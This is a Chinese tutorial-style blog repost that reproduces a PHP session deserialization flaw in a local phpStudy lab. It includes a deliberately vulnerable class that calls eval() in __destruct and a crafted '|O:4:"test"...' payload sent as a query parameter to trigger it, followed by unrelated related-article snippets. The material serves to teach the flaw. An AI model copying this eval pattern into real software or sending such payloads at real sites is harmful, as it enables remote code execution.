php session 反序列化,PHP SESSION反序列化本地样例分析

PHP SESSION反序列化本地样例分析

0X00漏洞原因

主要原因是: ini_set(‘session.serialize_handler’, ‘php_serialize’);

ini_set(‘session.serialize_handler’, ‘php’);

两者处理session的方式不同。

0X01漏洞分析

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法

0X02漏洞环境

Windows10

Phpstudy一件集成环境

0X03漏洞复现

首先现在本地phpstudy网站根目录新建俩个测试用例1.php和2.php

内容分别为

1.php:

ini_set('session.serialize_handler', 'php');

session_start();classtest {var$hi;

function __construct(){

$this->hi = 'phpinfo();';

}

function __destruct() {

eval($this->hi);

}

}?>

2.php:

漏洞利用

首先构造反序列化字符串:O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}

可以看到2.php中接收的参数为a

提交2.php?a=|O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";},

也就是访问127.0.0.1\2.php?a=|O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";},

访问后结果如下:

30b6f53c2b550fa9ac955d4db3b30b5c.png

然后再访问http://127.0.0.1/test1.php,成功执行phpinfo()

1846661accb97c0ed0648e47d90481fa.png

0X04漏洞分析

提交2.php?a=|O:4:“test”:1:{s:2:“hi”;s:10:“phpinfo();”;},

传入的数据会按照php_serialize来进行序列化:a:1:{s:4:"test";s:43:"|O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}";}

此时访问1.php,应用程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:4:"test";s:43:"作为SESSION的key,将O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}";}作为value,然后进行反序列化,最后就会就会实例化test对象,最后就会执行析构函数中的eval()方法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/558523.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php 标题去重复思想,WordPress网站发布文章时如何防止发布重复标题的文章?

事实上,所有插件后端代码都等同于将代码片段添加到functions.php中,functions.php代码片段可以生成插件,然后插件可以自然地集成到functions.php中。插件主要易于管理,但也增加了静态资源请求的数量。如果您知道如何处理这些请求&…

php前端介绍,Web前端的开发前景介绍

“路漫漫其修远兮,吾将上下而求索”,这句出自《离骚》。虽然端午已过,但是还是不影响一个程序员想表(zhuang)达(boy)自己此刻心情的冲动。偶然路过同事旁边,不(tou)小(kan)心看到他加的一个群,在问,web前端…

hive mysql命令,Hive数据库常用命令

收藏一些Hive数据库常用命令,方便平时准备测试数据集。查看库、创建普通Hive表:show databases;user lch_databases;show tables;create table lch_user_table(int id,name varchar(8),birthday date,salary double(24.7),dd1 decimal(18,4));alert tabl…

判断星座PHP,php根据日期判断星座的函数分享_PHP教程

复制代码 代码如下:function yige_constellation($month, $day) {// 检查参数有效性if ($month < 1 || $month > 12 || $day < 1 || $day > 31) return false;// 星座名称以及开始日期$constellations array(array( "20" > "宝瓶座"),arra…

lumen php命令,php – 如何使用命令行手动运行laravel / lumen作业

跑php artisan make:command DispatchJob创建运行工作的特殊工匠命令.打开创建的DispatchJob.php文件并定义DispatchJob类,如下所示&#xff1a;class DispatchJob extends Command{/*** The name and signature of the console command.** var string*/protected $signature …

无法连接iphone软件更新服务器_苹果发布了iphone、ipad和mac的新软件更新

苹果已经发布了三种操作系统的软件更新&#xff1a;用于iphone和ipod的iOS、ipad的iPadOS和Macs的macOS。这些更新很小&#xff0c;主要集中在bug修复上&#xff0c;而不是添加新功能。这些更新标记为iOS 13.6.1、iPadOS 13.6.1和macOS 10.15.6补充更新。通常&#xff0c;iOS或…

php合成图片设置图片大小,php 上传图片并按比例生成指定大小图_PHP教程

php 上传图片并按比例生成指定大小图这是一款图象缩略函数哦&#xff0c;把上传的新图片给$srcfile然后进行文件按$thumbwidth 缩小图宽最大尺寸 与$thumbheitht 缩小图高最大尺寸 生成小图。php教程 上传图片并按比例生成指定大小图这是一款图象缩略函数哦&#xff0c;把上传的…

win10升级助手_关闭win10系统更新

为什么要拒绝更新系统呢&#xff1f;&#xff1f;&#xff1f;1.系统更新占用太多时间2.不合时宜的提醒更新严重影响了工作3.对绝大多数人完全没有必要更新系统微软强奸式的要求更新不合清理。同学们的电脑系统大多数是win10家庭版&#xff0c;可以采用下面方案关闭自动更新&am…

matlab 生成信号文件,生成的代码如何存储内部信号、状态和参数数据

浏览模型示例打开模型示例 rtwdemo_roll。open_system(rtwdemo_roll)该模型包含不连接到根级别 Inport 或 Outport 模块的内部信号。某些信号具有名称&#xff0c;例如 phiCmd 信号。该模型还包含一些维护状态数据的模块。例如&#xff0c;在 BasicRollMode 子系统中&#xff0…

苹果平板怎么卸载软件_怎么很好的卸载流氓软件!

我相信在生活当中&#xff0c;很多人都会在不知情或者不注意的情况下&#xff0c;被迫下载很多自己不想要的软件&#xff0c;而且删除之后总是出现&#xff0c;挥之不去。接下来我将会给大家分享几个下载此类软件的方法&#xff1a;一、通过控制面板卸载点击小图标&#xff0c;…

pbs 写matlab作业,pbs提交作业

如何如何使用使用pbs 提交作业1 串行任务提交用户通过qsub 命令来向系统提交任务&#xff0c;有两种方式提交&#xff1a;脚本方式和命令行方式。(一般情况下&#xff0c;不允许root 用户使用qsub 命令提交作业)1.1 脚本方式提交用户将需要执行的程序或命令写入脚本中&#xff…

python 循环语句结果存储_python条件语句和循环语句

一、条件语句Python 条件语句跟其他语言基本一致的&#xff0c;都是通过一条或多条语句的执行结果&#xff08; True 或者 False &#xff09;来决定执行的代码块。 Python 程序语言指定任何非 0 和非空&#xff08;null&#xff09;值为 True&#xff0c;0 或者 null为 False。…

swift使用mysql教程,Swift学习教程之SQLite的基础使用

前言在我们的日常开发中&#xff0c;经常会遇到用户断网或者网络较慢的情况&#xff0c;这样用户在一进入页面的时候会显示空白的页面&#xff0c;那么如何避免没网显示空白页面的尴尬呢&#xff1f;答案就是&#xff1a;先在网络好的时候缓存一部分数据&#xff0c;这样当下次…

使用c++查看linux服务器某个进程正在使用的内存_精选20个常用的Linux命令

今天总结几个非常常用的Linux命令&#xff0c;其中有几个在面试中很可能问相关命令的原理&#xff0c;比如后台运行命令。希望对大家有所帮助&#xff0c;最好自己去尝试在Linux操作系统中实践一下。1 查看目录以及权限在windows中&#xff0c;使用dir查看当前目录中文件。在Li…

php数组如何去掉相同的元素,如何去掉php数组中的重复的元素

如何去掉php数组中的重复的元素发布时间&#xff1a;2020-07-30 09:49:32来源&#xff1a;亿速云阅读&#xff1a;74作者&#xff1a;Leah今天就跟大家聊聊有关如何去掉php数组中的重复的元素&#xff0c;可能很多人都不太了解&#xff0c;为了让大家更加了解&#xff0c;小编给…

台式电脑可以连wifi吗_不使用WIFI,手机也可以通过电脑的网络上网

让手机通过电脑上网的方式有很多种&#xff0c;最常见的就是 WIFI 了&#xff0c;而且简单直接。但是有时候台式机没有 WIFI &#xff0c;或者电脑的 WIFI 设备已经连接到其他的网络了&#xff0c;这时候手机就不能通过电脑的 WIFI 连接到网络。那么还没有有办法连接到网络呢&a…

php架在底部页面,页脚始终保持在页面底部的网页布局方法

页脚始终保持在页面底部的网页布局方法导语&#xff1a;用CSS创建一个高度自适应布局&#xff0c;如何保证页脚(footer)在内容不超过一屏的情况下始终保持在布局最下方是一个比较头疼的事。下面就由百分网小编为大家介绍一下页脚始终保持在页面底部的网页布局方法&#xff0c;希…

pgsql 前10条_未来3年,广州83条城中村、285个旧街区将迎来改造

文、图/羊城晚报全媒体记者 赵燕华 通讯员 穗建未来3年&#xff0c;广州83条城中村将实施改造&#xff0c;285个旧街区将迎来改造&#xff0c;推进176个旧厂房改造&#xff0c;将整治1.24亿平方米违建……9月25日&#xff0c;在广州市深化城市更新工作推进高质量发展政策培训暨…

Linux版本Oracle工具,Linux下oracle可视化操作工具sqldeveloper安装与配置

一、Oracle SQL Developer 3.2.2 选择Linux RPM版本下载1、安装sqldeveloper&#xff0c;rpm -ivh sqldeveloper-3.2.20.09.87-1.noarch.rpm&#xff0c;安装完成后软件在/opt/sqldeveloper, 虽然在程序菜单中有sql-developer的图标&#xff0c;但单击并不能启动&#xff0c;估…

c++能干什么_「CG原画插画教程」学画画到底能干什么?

原标题&#xff1a;「CG原画插画教程」学画画到底能干什么&#xff1f;艺学绘小编收集整理了学画画到底能干什么&#xff1f;学画画到底能干什么&#xff1f;相信很多学画画的朋友们都被问过这个问题&#xff0c;那些对学画画有偏见的人&#xff0c;总觉得我们在“不务正业”。…